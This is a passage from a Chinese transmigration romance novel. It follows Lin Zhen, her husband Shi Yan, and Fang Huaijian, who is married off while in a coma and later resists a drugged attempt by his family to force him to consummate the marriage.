见刀飞离了方怀简,众人全都围了上来,秦氏杵着龙拐恨声道:“把他绑起来,立即送回府!”踢断方怀简手腕的人正是他的大哥方景行,不等方怀简反应还口,他两掌劈昏了弟弟,命人把他捆起扔马车上。 秦氏和方景行走到时彦面前,此刻他刚刚爬坐起来,被一圈人围着,林蓁跪在他身边默默流泪,毅勇侯夫妇和时隽时姝垂首查看时彦伤势。 方景行陪着不是,秦氏道:“他原本不是这样的人,从越州回来便如此,她母亲担心特意让我来看看,我看他八成在越州沾染了邪气或者中了蛊毒,方才如此失常。” “侯爷侯夫人,看在我们两府交好多年份上,求不要与他一个病人计较,我们给他医治,不恢复不让他再出门!” 又命令方景行:“赶紧去给时大公子找最好的太医来!” 方府老祖母亲自出面求放过,毅勇侯夫妇不好拂老夫人脸面,谢氏抹泪道:“盼望世之早点恢复,过去他确是个好孩子。” 秦氏:“多谢侯爷侯夫人体谅!今日我们不便打扰,明日让世之爹娘上门赔罪,以后他病好亲自负荆请罪!” 毅勇侯府一番忙碌为时彦治伤,好在他只中一刀亦不是要害,武人之家这些伤势常见,毅勇侯夫妇略略放心,方府亦派了擅长刀伤的太医来瞧,嘱咐休养几日应该无碍。 云栖院里,虽然时彦并不情愿,但被各种人按在床榻上不准起床,他只得早早躺下。上了药膏绑上绷带,他已没有太大感觉,看着头顶锦帐回想今日一幕幕。 今日在红枫寺和林蓁已是你侬我侬,回来虽未料到方怀简在侯府门口发疯还伤了自己,但看林蓁眼泪汪汪模样,这个伤很值,他简直有些感谢方怀简,他似催化剂,在自己带林蓁去户部去红枫寺刚刚打好基础后,他的到来和莽撞让林蓁与自己贴得更近更紧,以后还会是不分你我负距离。 时彦暗想,林蓁即便再见方怀简,心猿意马的可能大概渐无。 林蓁端了碗药汤到床边,时彦便要坐起,林蓁忙放下碗,要扶住他不让他用力。 时彦淡笑:“没这么娇嫩,已没什么感觉。” “生肌汤得喝一段时间,第一天你就好好躺着别动。” 时彦一口喝干了汤药,央求林蓁道:“你陪我躺,我一个人不想躺床上,我躺过整整一年,躺得骨头疼。” 林蓁本没甚心思做其他,陪时彦躺下侧睡在他身边,看着他的伤口想抚慰又害怕他疼痛,指腹轻轻在伤口附近腹部抚摸。 “对不起”,林蓁心疼道,“我不去见他就没事。” “和你无关,若你也要说对不起,更对不起我的应是时隽。” “见了他,了了这个事情也很好,以后我们安安生生过日子。” 见林蓁眼眶泛红,时彦道:“你不用担心他,他家人很护他,给他的从来都是最好的。” 林蓁的手无意识在时彦腹部摩挲,想说自己没有担心方怀简,又觉得有些欲盖弥彰,她还是挂心他的,特别看到他的手被家人踢断,像小猫小狗一样被无情扔进车厢,那一刻自己的手似乎也断了,心也跟着飞了。 “我说过,你心里可以有他。” 林蓁没有说话,把头埋进时彦颈窝,时彦顿了顿,手掌抚摸林蓁大腿:“今晚又摔了一跤,擦过药了吗,我想看看。” 连着两天,因着争执,林蓁都被两个男人带倒在地,昨日腿上就有些青痕,时彦猜测今日会更严重。 林蓁拗不过时彦,给他看过,左边小腿到大腿连着大片青紫,时彦的手轻轻拂过:“以后我和他打死,你也别管。” 林蓁搂紧时彦的腰,脸颊贴着他的胸口,哽咽道:“求你,别打。” 被林蓁贴身紧搂,腹部还被她似有似无拂弄,时彦腹下渐渐窜起了火,显然林蓁不会答应受伤的自己,时彦握住她的手往下往下。 林蓁想闪躲,哪里挣得开他的手,她抬眸:“你受伤了。” 时彦吻吻她的额角,紧紧按住她的手:“蓁蓁,求你,帮我,不碍事。” 林蓁依着他动了一会儿,支起上身看他:“等我一会儿。” 在时彦诧异目光中,林蓁起身端来一个茶盘,她把茶盘放在拔步床内小几上,认真漱了漱口,主动帮起时彦。 时彦有些晕眩。 即便夜不空房,这样情景亦极少,有限几次都是他百般讨巧得来,他一时不知该心疼自己还是心疼林蓁,为了方怀简,她愿意主动如此。 想推开她乌发,还是舍不得,不自禁沦陷极致感觉…… “蓁蓁,你不需要如此,我会答应你。” 林蓁漱着口,还没有开口,就被时彦戳破心思,林蓁微微张着酸麻的唇,不知道该说什么,良久,林蓁转身俯下,缓缓吻上时彦下颚,轻舔轻噬,低低恳求。 “阿彦,你永远都不要计较他,永远不要报复他,好不好?” 今日她读过他办案的案卷,他铁面无情,他睚眦必报,他百谋千计,林蓁不认为时彦会轻飘飘揭过今晚之事,可方怀简被家人拳打脚踢,他已经很可怜了! 时彦轻轻回应,吻林蓁的眼吻林蓁的鼻,耳边她仍然在幽幽请求。 “他很可怜,他也许真的病了,你可不可以不要在意他?” “蓁蓁,只要你开口,我都会答应你”,时彦声音有些艰涩,“但我不想我们之间欢愉变成讨好,变成不相干之人的筹码。” “它就只能是让我俩快活让我俩相亲相爱的事。” “你答应了?” 时彦听出林蓁声音中的轻松欣然。 “我以后都不会——” “不会?” 林蓁讨好地改口:“只要你想,我还会。” 时彦的手摩挲林蓁的唇。 伤口忽地有些疼痛,似乎提醒自己,不要太自我感觉良好。 方怀简,还没到咸鱼难翻身程度。 第62章 第 62 章 气运之子? 烛火明明灭灭, 倏忽间内室陷入黑暗,林蓁想重新燃上灯烛,身形刚动却被时彦按在怀中。 “就这样说说话。”灯火刚灭,时彦此刻看不清林蓁眉眼, 他的手轻轻抚摸林蓁的脸, 虽然她站在他这边, 但显然方怀简在她心中极重, 趁着受伤,他还得功夫做得细致些, 一点一点把方怀简挤出去。 “如今这样,几日内没法去户部,要不御史台你也晚去几日,我本想让你完整看完盐铁监察整个过程,至少也得一周时间。” 林蓁诧异:“我还可以去?” “你不想?” 林蓁很想。 今日上午她只匆匆看过几宗案卷, 以为看到如此内部档案文牍已是时彦最大权限, 压根没想过还能再进一步。自己夫君兼任职业导师,她极其幸运她非常满足。 林蓁在时彦怀中狠狠点头。 “那这几日你在家里看书, 哪里别去,等我好些我们继续。” “哪里别去”, 似乎另有深意,林蓁看向时彦眉眼, 然而并不能看清什么, 她伸手攥紧时彦的手, 手指与他十指交握,试探着问:“等他以后心绪平和,我还想再见他,我会提前和你说, 你会不会不高兴?” 虽然时彦说方 怀简另一个时空里早早成婚,夫妻恩爱,可此刻他并没有,他和自己都想起前世,林蓁回想刚刚认出方怀简时日日心如刀割,方怀简此刻心情她感同身受,她想他安好,她望他顺遂。 时彦默了一瞬,应道:“我倒是不会,只是今日这般闹腾,怕是短期内不成,便是我助你,他家人亦会防备得紧。” “且行且看罢。” 林蓁脑海里浮现秦氏老夫人杵得铿锵的拐杖,方景行闪电般飞身,和方怀简那只瞬间垂落无力的手,变形惨白得可怖。 很想为他做些什么,可纵然有无数念头,方怀简眼中能看到的,都是变形扭曲,是对他无情舍弃,是对时彦珍惜,她能做的,就像那只手无力。 命运馈赠了他俩,让他俩遗憾离世后再遇,命运亦戏弄了他俩,再遇时她已遇到时彦。 林蓁安静地搂着时彦,可他俩距离让时彦听到她微微一声叹,她久久未说话,在时彦以为她睡着时,林蓁突然问。 “在另一个空间,你为何会娶我?” 这是林蓁想过的问题,今日方怀简质问时彦时,林蓁再次想到它。最初的最初,时彦为何娶她呢。 按照皇城高门娶妻惯常规则,时彦作为毅勇侯府嫡长子,不可能娶她二房庶女。 “有一年清明踏青,我无意中遇到你,你独自哀哀哭泣,以为你受了谁的欺负,我上前询问你,你只说思念亲人。你哭得可怜模样让人心疼,我时常想起会隐隐心痛,打听到你是英国公府未婚配的林三姑娘,便让我母亲去提亲。” 林蓁有些惊讶,虽然她爱哭,印象中从未在陌生人面前哭泣,这辈子亦没有清明节单独出行过,也没有为唐婉莞“哀哀”哭泣过,因为母亲去世时她实在太小,长大后会感伤会哭泣,但很难想象自己为没什么细节印象的母亲哭成泪人。 林蓁疑惑地问:“为我母亲么?为何这辈子我在清明节时未遇见你?” “遇见过,只是你不知,不知何故你未独行,我没有机会与你搭话。”时彦描述了去年清明节时林蓁与林府姐妹出行动向,林蓁诧异极了,原来时彦早就付诸行动! 她哪里知道,在时彦动了娶林蓁念头时,他便留心她动静,只是她实在甚少出门,时彦根本没有接近机会。 “我俩成亲后,我问过你,那日是不是思念母亲,你第一次和我说起前世今生之事,那日你哭的是前世父亲,他在你儿时去世,却是你心中永远的英雄。” “我那时便想,要给你余生的完满。这一世,我亦这样想。” “没想到,方怀简横插一脚。” “你前世父亲,虽荧烛末光,亦增辉日月。”时彦似沉浸在另外一个时空回忆。 如果林蓁之前心中偶尔还冒出一丝丝怀疑,听到“心中永远的英雄”之语,这一丝丝怀疑彻底消无。 关于她前世父亲,这辈子她未向方怀简提过,她亦未曾向时彦说及,那时彦所说就是真相,她在另一个空间向他诉说过。 * 翌日,方大将军和夫人袁氏如秦老夫人所言,带了厚礼登门赔罪。毅勇侯夫妇受宠若惊,在时世诚看来,时彦不过皮肉之苦,哪里值得老上峰一家亲自上门,方继中夫妇却是深觉没脸,他们本是时彦小夫妻保媒,自己儿子却闹出这般丑事,毅勇侯气愤之下报官治罪,他们都无二话可说。 时世诚问起方怀简回府后情况,方继中眉头深锁道:“正找人给他诊病。” 谢氏听着只当是老上峰夫妇顺着秦老夫人的话随口一说,毕竟方怀简染了病他们毅勇侯府不便追究,这事儿就这么糊弄过去。 可随后几日时隽去方府找方怀简,眉头一日比一日紧,方怀简竟真病得人事不省。 据时隽所言,方怀简回家后大醉,方德山发现时已呕吐物满身昏迷多时,现在皇城名医日日登门。这下轮到毅勇侯夫妇拜访看望,可送去拜贴却被婉拒,说是方府各个长辈因方怀简病重心力交瘁。 只有时隽日日回家带来最新消息,昏迷四日了,五日了,六日了……毅勇侯夫妇把当初给时彦诊病的各处名医偏方全都贡献出来,侯府气氛亦日益凝重。 林蓁没了看书兴致,日日焚香祈祷,她听时隽描述,估计方怀简要么气管异物导致脑缺氧,要么酒精中毒,无论哪种愈后均不佳,更可能是没有愈后。 即便时彦痊愈,林蓁再次跟着他去户部观摩亦未能让林蓁恢复兴致,失神发呆做错事已不鲜见。 八月下旬某日,方府差人给侯府送上喜帖,方府竟要为方怀简娶妻冲喜,娶的夫人正是他的表妹徐蕊婴。 时彦得知消息时,一时间亦为方怀简有些感伤,亦第一次为自己前路感到脚踏实地的欣喜,这本小说里他逆天改命,已成气运之子? 第63章 第 63 章 晃得人心生遐想 像一个无比漫长而美好的梦, 完全不同的人生体验,慈爱忙碌的父母,饶有兴趣的学业,花团锦簇的前程, 美丽可爱的女友相伴始终, 完美得不愿意醒来, 直到“轰隆”一声巨响, 租的宝马轿车和迎面而来的集卡撞上,“安安!”方怀简扑向身边爱人。 眼前一团耀得人睁不开眼的白光, 方怀简被白光晃得什么都看不见,下意识闭上眼睛。 良久白光消失,周遭死寂,方怀简蜷了蜷手,手中空空, 安安不知去向, 他缓缓睁开眼。 眼前一片红,红的锦帐, 红的鸳鸯绣被,方怀简瞥了一眼, 连身上中衣亦是红色绸缎,红枕边紧挨着另一个红枕。 意识到不对劲, 方怀简猛然坐起, 室外小鸟叽叽喳喳, 阳光明媚,窗棂上一片亮绿,室内八仙桌上铺着鸳鸯红桌布,茶具也变成描金龙凤纹秘瓷, 就连窗棂下边几上亦放着镶嵌红色玛瑙博山炉,还多了一套女子用的梳妆台! 仍然是自己住了二十年的院子,但为何全是红色?梳妆台?! 梦境过于真实,前一瞬还在司机位上猛踩刹车,现下却躺在床上,小腿遗有猛力使劲的绷紧酸痛,仿佛自己只是空间上瞬移,从某个虫洞突然钻到另一个时空。 “方德山!方德水!”方怀简大声叫着自己的长随。 声音刚起,外间一阵急促脚步声,一位婀娜女子身影印在绣屏上,眨眼功夫她走进内间。 “徐蕊婴!” “夫——表哥。”徐蕊婴的声音转了个弯,最终轻轻喊出表哥二字。 她楞在绣屏前,脸上先是不可置信,接着现出抑制不住笑容,不等方怀简说话,她转身跑回外间。 声音激动得喘不上气,吩咐丫鬟:“快去禀告外祖母和母亲,表哥醒了!” “夫君”“母亲”,像冬季给刚刚钻出被窝的人迎面浇上一桶冰水,方怀简靠坐在床沿,冷得冻住了。 发生了什么,脑子里全是梦里另一个时空的事儿,此刻不得不挤出一点儿空间,方怀简揪着红彤彤的衣袖,回忆起这个时空里发生过的点滴。 那日被绑回家后,回府并未认错,和父母争执,坚持时彦心怀叵测,自己要娶林蓁为妻。 以为决然坚定会让家人看到自己的认真和决心,哪知直接换来一顿家法,连刚到方府从来如珠如宝对待自己的祖母也斥责“娇儿无孝子,身上疼了清醒才会反思。” 二十及冠之龄还是大周翰林,竟被家人如此对待,父亲哥哥一身功夫武力上碾压,在祠堂罚跪时,自己又气又怄,跪了没多久待人走光直接翻墙到家中酒窖喝酒。 除了排解烦闷,还希望醉 酒后或许还能再想起一些前世之事,自己“咕咕”以酒当水不知喝了多少坛,这一醉脑中就放起了电影,前世之事潮水般一幕幕涌进脑海。 然后“看完电影”醒来,徐蕊婴就成为自己妻子?! “方德山!方德水!”方怀简继续喊着,一面掀开被子要下床。 徐蕊婴刚绕过屏风,见状急忙跑到方怀简跟前,拉住他的锦被不让。 “表哥,你刚醒,还得多休养!快躺下!” 她攥着锦被没有让自己下床意思,方怀简目光落在她抓得死紧的手上,问道:“我们何日成亲?成亲多久?” “八月廿六,现在九月一日。” “我对你做过什么了吗?” 徐蕊婴的脸倏地红透,她微垂眉眼轻摇了摇头。 “但我们夜夜共眠一床。” 方怀简本就乱糟糟的心更乱了,本就浑身无力,这下由内到外是真的没有一丝力气。 他颓然倒下,任由徐蕊婴帮他掖好被子,脑中不知怎的冒出上辈子学过的内容。 个体无法对抗团体,弱者无法对抗强者。 方府是三代同堂的大家族,除非他变强,他没有办法和能力对抗这个家族集体意志,他武力值约等于零,和父亲哥哥直接硬扛的结果已经有了清晰答案,只会自己吃瘪。 想明白这一点,方怀简心态有了变化。 不是时候,远不是时候,重新寻回安安,首要的不是对抗家人,而是分化拉拢! 可徐蕊婴都睡到自己床上了,方怀简抬手按揉自己眉心,闭着眼对徐蕊婴道:“你把我两位长随唤来。” “这里是内宅,他们不便进来,表哥有什么事,我可以帮吗?” 内宅!自己长随都进不了的地方,方怀简无奈拿开手,睁眼看向徐蕊婴。 凭心而论,徐蕊婴长得很好,姣好面容若一朵徐徐盛开的牡丹,很有当家主母的气质,怪不得祖母为她和母亲对抗多年。 在自己不省人事的日子里,她自愿也好被逼也好,嫁给自己需要极大勇气,她受了极大委屈。 可自己的心,没有空间给她。 “这些日子委屈你。” 见方怀简突然醒来,徐蕊婴昏暗无光的日子突然阳光普照,她心情激动,高兴得无以复加,此刻听方怀简这句关心之语,眼泪“啪啪”往下落。 “夫君,”她声音都带着哭腔,“只要夫君能康复,我受点儿委屈不算什么!” 来皇城她就知道自己的命运,嫁给自己的表哥,她喜欢表哥没有一丝不愿意,可万没想到,她嫁是嫁了,可表哥毫无知觉状如活死人,人前她乖巧温顺,人后她以泪洗面,做孀妇的心理建设都做得差不多了,没想到表哥身体还有好转一天。 “你,你还是唤我表哥罢,”方怀简直言不讳,“你知道我心有所属。” “我会补偿你。” 徐蕊婴垂着头,咬紧唇没说话。 “世之!世之!”外间袁氏激动声音:“你真的醒了吗?” 外面响起杂乱脚步声,一堆人挤进方怀简并不宽敞的内间,若干双眼睛直勾勾看向方怀简,秦氏袁氏还有方怀简大嫂朱氏等都来了。 方怀简自己坐了起来,对众人道:“让祖母母亲大嫂担心了,现在好多了。” 见他再无疯语,神智正常,秦氏袁氏放下心,围着他问长问短。 方怀简让徐蕊婴到外间备茶,见她走了,才小声道:“祖母母亲,我不喜欢她,我想和她和离。” 众人喜形于色的脸色顿时不太好看,秦氏面色一沉:“世之,祖母向来觉得你胸有丘壑,怎么这事儿上竟无半分恩义?徐蕊婴去阎王殿里把你拉回来,除非她死,以后方府里人人都得尊称她一声二少夫人。” 袁氏本不相信冲喜之事,儿子成亲后躺床上没有半分变化,她甚至背地里让管家去准备上好棺木,可眼下之事佐证祖母英明,她亦开口劝:“世之,蕊婴没有什么错处,成亲后日夜照料你,很是辛苦。” 大嫂朱氏配合婆母道:“若我儿媳以后有弟妹一半好,我做梦都要笑醒。” 方怀简目光淡淡扫过去,朱氏一脸真诚。 嗯,表妹愿意嫁给自己只有出气没有进气之人,一般人确实做不到。 但自己,给不了。 方怀简安安静静听完家中长辈们的话,点头称是:“表妹是我的救命恩人,我不该如此说话,以后不再提。” 有些说不出的怪异,袁氏看了婆母秦氏一眼,两人曾经佛堂许愿,只要方怀简醒过来,什么都依他,可她刚不过劝阻了一句,儿子就滑跪,乖顺得让人心疼。 众人探望一番都放了心,叮嘱方怀简好生休养便退出了小夫妻宅院。 方怀简等人出了院门,马上起身往外走,徐蕊婴拦住他的路,劝道:“夫君,你去哪里?” “不过去湢室沐浴。” “我服侍夫君。” 方怀简停下脚步,眉眼认真看向徐蕊婴,“表妹,你很好,给我一点儿时间,好么。” 徐蕊婴再没理由拦他,忐忑不安在房中等。然而果不出所料,许久后丫鬟来报,“二少夫人,二公子说他去书房见他长随,不知何时回,让夫人不要等他,该做什么做什么。” 徐蕊婴泪珠“啪”一声滴在红绸桌布上,像一朵盛开的红梅,夜晚冷雪里形影相吊。 方怀简自此在书房住下,可以打他强娶妻给他,还能迫他行房不成。在家休养两天整理仪容,第三天便恢复去翰林院的日常。 见过他的人都道恭喜,捡回一条命还顺便娶妻成家,确实可喜可贺。 在翰林院只露了一天脸,晚上时隽便登门求见,方怀简在书房见了他。 第一眼见方怀简时,时隽心里抽抽疼了一瞬。自他娶妻后,时隽便没再登门求见,一是方怀简毫无知觉见了他也做不了什么,更主要的是,他娶妻后再见很不方便。 算起来近半个月未见,自方怀简回皇城后两人从未这么长时间不联系,他比上次见时更加瘦削,整个人像根高高竹竿挑挂着衣袍,幸而精气亦像山巅松竹,风雨冲刷后更显卓绝。 “世之,你病愈真为你高兴!”时隽像以前一样上前拍拍方怀简的肩膀,方怀简却没像以前一样回击他一拳,只指指身边绣墩:“坐。” 给他递上一杯茶,方怀简道:“新送来的山巅云雾茶,你品品看?” 时隽冷了的心被一盏暖茶又温了回来。毕竟已成亲,他是该稳重些。 “你,都还好吧?” “还好。” 时隽想问问方怀简亲事,毕竟他人事不省时家里给娶的,可想想他都成家了,自己不该打听他房中事,一时间心中感慨。 曾经滔滔不绝无话不谈的两人竟然冷了场。 最后还是方怀简打破沉默,他淡声问:“林蓁和时彦,最近如何?” “也好罢,我也不过晚间用饭时见他俩一眼。” 两人再度陷入沉默。 “这茶绵柔悠长,很好。”时隽无话找话。 “我尝过后,也觉你会喜欢。正好你来了,带些回去慢慢品。” 门外方德山声音:“少夫人送茶来了。” 时隽自觉站起身,知道方怀简没事,他夫人来了他该离开。 门扉被方德山打开,徐蕊婴接过丫鬟手中茶盘,正欲进门,抬眼看到一个陌生男人站在门口,吓了一跳。 方怀简介绍:“这是我最好的朋友时隽,他来看我。” 听到“最好的朋友”,时隽心下说不出滋味,总觉两人之间被隔起了什么,让人心里不畅快。 时隽向方怀简抱拳:“改日再见。”又向徐蕊婴作了个揖,匆匆离开。 徐蕊婴把茶盘放桌上,端着茶盏递给方怀简:“夫君,请用茶。” 自方怀简住在书房后,吃喝拉撒再不进后院,徐蕊婴似孤寡一个人冷冷清清,她忍不住向外祖母秦氏诉说了委屈。孙子大病初愈,秦氏不好用强,她帮徐蕊婴出主意,每日饭后送茶给方怀简,两人说说话拉近距离。 方怀简确实没拒徐蕊婴的茶,可也不和她说话,每次喝完茶徐蕊婴自问自答汇报一天内容后,方怀简就会提醒她离开。 今日也不例外,方怀简等了一会儿,见徐蕊婴还不走,问道:“天色已晚,你还不回去休息?” 徐蕊婴埋着头:“想多待一会儿。” 方怀简不再管她,拿本书自己看。其实看不进去一个字,这些天每每一个人时,自己前世就不受控制跳出来,在脑海里反 复播放。 自己和安安在宝马车上最后时光回忆无数次,那一团白光后,他投胎了?他穿越了?他位移了? 方怀简想起了一本书。那是两人领完证后他去借车,安安在一家书店等他,闲逛时偶然所得。书店在做特签活动,安安被一书迷请求代她多买一套特签版,事后书迷送安安一本平装版。 路上安安打发时间翻看,给他讲了火文大概情节,谈恋爱古言,女主叫时姝,因为调侃“时时输”,方怀简记住了这个名字,他很想问林蓁,这本书里她还记得些什么。 浑身燥热,方怀简随手拿起本书扇风,意识到下腹变化,他猛然转身。 徐蕊婴头埋得低低的,坐在桌边像一尊净白瓷器。 “茶水里放了什么?谁让你做的?!” 瓷器活了过来,脸上红扑扑的,慌乱道:“外祖母说,说只要圆房就没事。” 方怀简一把扔了书,起身大步迈出门。 “方德山!方德水!” 然而四周寂静,方怀简定睛一看,两处院门都被合上。 他跑到门前一脚踹向门板,门板微微晃了晃,门外绞缠在一起的铁链透过门缝间隙闪着光亮,发出“哐啷”声响。他跑向另一处院门,等待他的亦是“哐啷”铁链声。 方怀简燥热得全身皮肤绷得疼,五脏六腑似有蛊虫噬咬,无数虫卵正从他每一个毛孔里拼命钻出来,他疯狂踢踹门板,铁链不断发出“啷啷”声音。 “夫君!” 方怀简侧首,徐蕊婴站在院中,头顶星空繁灿,白色衣裾微微拂动,她宛若下凡圣女,正准备拯救他这个落难凡人。 徐蕊婴缓缓走向方怀简,他才注意到,她脱掉了上身短衫只剩丁点儿抹胸,肌肤外露似月下细雪,那抹胸又是淡淡半见黄,和她肌肤融为一体,一步一步走来,裙裾左右飘飞,晃得人心生遐想。 第64章 第 64 章 未死心?又没那么在意 “草!”方怀简梗着脖颈怒骂一声。 吃人的社会!簪缨世家贵公子竟然没有不做的自由! 他涨红着脸, 避开徐蕊婴目光,把不大院子扫了一遍,此处二进院没有高大树木也没有假山叠石,院墙上还没有花窗, 没法儿翻墙。院子北角有个半人高虎头陶缸, 里面养着碗莲和金鱼。 就它了!方怀简三步并作两步跑到陶缸跟前, 翻身跳进水缸, 把全身埋进水里。 九月夜的水,冰冷得像刀割, 于方怀简燥热疼痛的皮肤却仅仅缓解而已。他深深埋在水中,那些拼命想从他皮肤毛孔钻出来的蠕虫似乎被水冲走,又或者吓缩了回去,让他获得片刻宁静。 徐蕊婴疾步走过来,见方怀简埋在陶缸里不出来, 连声唤他:“夫君!夫君!” 方怀简在水里一动不动。 徐蕊婴心下慌乱, 表哥才醒来没两天,若再出什么差池, 她可不想回到从前。她伸手进水里想抓住方怀简衣袍后襟。 手刚碰到衣襟,“哗”, 方怀简猛地探出头,溅了徐蕊婴一身水。 “夫君, 你没事吧?”徐蕊婴语音带着点哭腔, “外祖母说圆房就没事了。” 方怀简抹了把脸上的水, 盯着徐蕊婴叹气道:“你想要一个疼爱你的夫君,还是守着一个孩子自己孤老,或者根本没有孩子,伺候婆母孤老?” 徐蕊婴攥着方怀简湿漉漉衣袖哭:“夫君, 表哥,我想你好。” “你喜欢的人已经嫁人了,我们过我们的,好吗?” “你想你的夫君喜欢你,对吗?” 徐蕊婴拉着方怀简衣袖哭哭啼啼。 “表妹,你想你的夫君喜欢你,那就听我的,不是听祖母的,也不是听我母亲的。” “听我的话,给我一点儿时间,你会有一个爱你的夫君。” 两人目光交接,徐蕊婴很是犹豫,方怀简似乎在等她的答案,然而他很快把头又埋进水里。 刚刚跳进来时,身上疼痛似乎好了那么一瞬,可稍微适应水温,那些蠕虫钻孔的感觉重新来袭,这一次更凶残更猛烈,水缸里的水似乎都被沾染为同一个温度,水深火热。 “夫君,夫君!” 方怀简再次冒出水面。 “我听你的,你真的会喜欢我吗?” “听我的话,你的夫君会喜欢你。” 徐蕊婴目光闪亮,她坚定点头,方怀简指挥她:“你去门口喊,就说我昏迷了,赶紧开门叫大夫来。” 袁氏跑进来时,方怀简人事不省躺倒在水缸里,他实在受不了浑身疼痛,以头撞缸昏死过去。 袁氏叠声叫人去拿解药去请大夫,抱着儿子直哭,方怀简在她大哭声中醒来。 “母亲,”方怀简气若游丝,“是不是有了后代,人生使命就完成了?表妹有了身孕,我就算尽了孝,可以死了?” 袁氏哭道:“傻孩子,你才是母亲的心尖!” 袁氏和婆母秦氏从来不对付,按她过去性情,婆母朝东,她必朝西,迫于无奈,才接受婆母带徐蕊婴到方府看看情况。而病急乱投医,眼看方怀简一天不如一天,答应婆母冲喜,没想到冲喜冲成了,婆母再要使手段让小夫妻圆房时,袁氏内心虽不赞同最终还是默许。 此刻抱着方怀简,他瘦骨嶙峋浑身湿透,身体却比火炉还烫,额头青肿一片,眼皮耷拉着好像随时会合上,眼中充血似目翳其中,袁氏心疼无以复加,肠子都悔青。 她恨自己没了主张,被婆母秦氏牵着走就没好事,她要的是儿子好好的,而不是为不知道在哪里的孙子把儿子逼死,儿子躺床上半个多月,大病初愈,刚好没几天就逼迫圆房,哪有这样的呢。 偌大方府,方怀简终于不再是孤身奋战。 方怀简日子恢复如常,似和以前一样,又似很不一样。他本是个温润性情,翰林院里和谁都能和气说上几句,可近来却渐渐寡言少语,见着熟人不过点头而已,性子竟清冷疏离起来,以前到点下值走人,有时还会提前走人,现在常常留在翰林院里看文书到明月高悬。 和时隽亦不再天天约着喝酒,偶尔去芙蓉醉小聚一会儿,很快便散了。 对长辈恭谦有礼,对妻子亦算相敬如宾,虽仍住在书房,但常常遣人去问候,下人们猜测,大概二公子身体还没复原。 方德山不知是好是坏。 说好罢,公子竟让方德水一日不拉跟踪林蓁踪迹,显然公子并未死心。 说坏罢,无论方德水报告什么消息,公子波澜不惊只是微微点头,再未在任何人面前提“林蓁”二字,亦没有什么后续行动,所有情绪不过在抬眉敛眉之间,好像又没那么在意。 * 从时隽那儿得知方怀简康复如常,生活日益平静,林蓁牵挂的心慢慢放平。时彦说过,方怀简娶了表妹,两人生儿育女很是恩爱,林蓁想,大概方怀简人生道路此时开始走上了正轨。 她跟随时彦在户部了解了一番盐铁业监察后,九月中旬拿着萧忱的信去御史台扣开了女官梅棠的门。 梅棠女官是侍御史正五品,主要负责监察和弹劾官员。她政治立场中立,并不偏占任何人和团体,办案又雷厉风行干净利落,从未有过一起徇私或者冤假错案,多年积累在朝中攒下颇为正面名声。 她和萧忱没甚私人交情,但曾欠下萧忱一个人情,允诺过以后还报,萧忱写信于她便借着几年前这个“还报”承诺。 梅棠没有食言,带着林蓁指导其学习 。只是她办案通常都不是皇城里的案子,办起案来大半年都在外地那是常有的事,现在回皇城御史台,她能亲自指导林蓁的,不过是看一些成年旧案办案文档,从文字中了解监察官吏抽蚕剥茧的过程。 林蓁新妇夫君为户部高官,她却一心考女官,学得亦极为认真,梅棠看在眼里,对林蓁颇有好感亦感到好奇。 这日午后,两人用膳后在御史台游廊中漫步,准备回梅棠侍御史的房间继续看文档,梅棠注意到游廊对面,远远白墙根下,一位着绯色官服的青年男子目光似乎紧锁着这边。 御史台官员官服没有绯色,梅棠望过去,和青年目光交接,对方态度坦然,视线没有躲闪和回避。 梅棠问林蓁:“那个穿绯色官服青年看着我们,你认得么?” 林蓁看过去,心漏了一拍。 以为不会见到方怀简,没想到这么快再次相遇。 他修长笔直,瘦了许多,气质却越发出挑,阳光下眸子发亮,绯红官服流光溢彩,极为俊俏玉郎君。 林蓁呆在原地,却见方怀简从容不迫,缓缓向她走来。 第65章 第 65 章 他活在时姝嘴里 深秋午后, 方怀简穿过斑驳树影,踏着满地黄橙橙落叶,慢慢地走向林蓁。他的眼眸映着秋日阳光,和煦温暖, 也带着深秋的风, 似有一丝丝冷冽, 林蓁看着他步伐稳健, 不急不缓,不知怎的, 想起秋日田间沉甸甸麦穗,他竟有了成熟稳重之感,而这是之前无论飞飞还是方怀简从未有过的感觉。 大概因为他成亲了罢,印象中笑容可掬面貌一去不复返。 距离越来越近,目光对视中两人淡淡一笑, 方怀简走到面前, 收回目光敛了神色,对梅棠行礼:“在下翰林院方怀简, 见过梅大人。” 梅棠已看出两人认识,还了礼视线转向林蓁。 林蓁对梅棠道:“梅大人, 方翰林是我多年好友。” 梅棠打量了两人几眼,“多年好友”亲近间若隐若现淡淡疏离, 不过她不是爱打听性情, 点点头道:“不打扰你俩叙旧, 我先回了。” 游廊里方怀简林蓁相对而立,一个着绯色官袍胸前云雁展翅欲飞,一个着绿底菱花纹圆领袍,方怀简垂首看看两人红绿搭配, 轻笑一声显得心情甚好:“这是古代男女婚配标准服色,安安,我总感觉我们能再续前缘。” 他目光落在林蓁脸上:“安安,你真好看。” 她极好看,无论气色还是服饰,可那些光彩是时彦带给她,他允她到御史台抛头露面,跟随大周最厉害的女官学习,哄得她死心塌地,这不是一个传统古代人该有的心境,即便他是一个穿越者。 而自己,不得不承认,就算当初娶了林蓁,亦支持她做喜欢的事,让她进御史台跟随梅棠左右,恐怕不能轻易实现。 眼前人鲜亮明艳,可隔着一层皮囊,自己心中压抑得却像黑夜里的海水,庞大无际,笼罩在黑暗中随时兴风作浪。 方怀简眸光浓稠暗沉,林蓁不知如何回复,两人纵然再有情意,现下男已婚女已嫁,已是无可挽回。 她避开方怀简直白目光,垂首看向他的手,那里曾经骨折如寒霜落叶:“世之,没想到在这儿见到你。你身体可康复了?手腕恢复利索了?” 下一刻方怀简伸手攥住了林蓁。 林蓁慌忙看向四周。 “你别这样,”林蓁挣扎着想甩开他的手,“这里人来人往。” 幸好御史台里本没多少官吏,这会儿游廊上空无一人。 方怀简轻轻放开了林蓁:“没有人的地方就可以——” “你知道,我不是这个意思!” “只是想让你知道,我的手好了。” 林蓁哑口,为自己一惊一乍的反应内疚。 方怀简站直身体:“我的手已无碍。” “我病了因我喝了许多酒,前世之事我全已想起来。” 林蓁抬眸,方怀简眼神平静,曾经她以为,方怀简想起过去时,他俩定会抱头大哭,可他真说出来了,就那样轻飘飘不经意间说出,两人心绪似乎都极为稳定,果真就是前世之事,心里千万遗憾,然过去就只能过去。 “我醒来后才知,家里为我娶了表妹,”方怀简道,“我会解决好她。” 林蓁茫然看着方怀简,按照时彦说法,方怀简应和表妹有好几个孩子,虽然成亲的确非他所愿,但时间能改变一切,他表妹真心爱慕他,一定能打动他,就像时彦从陌生到走进自己的心里一样。 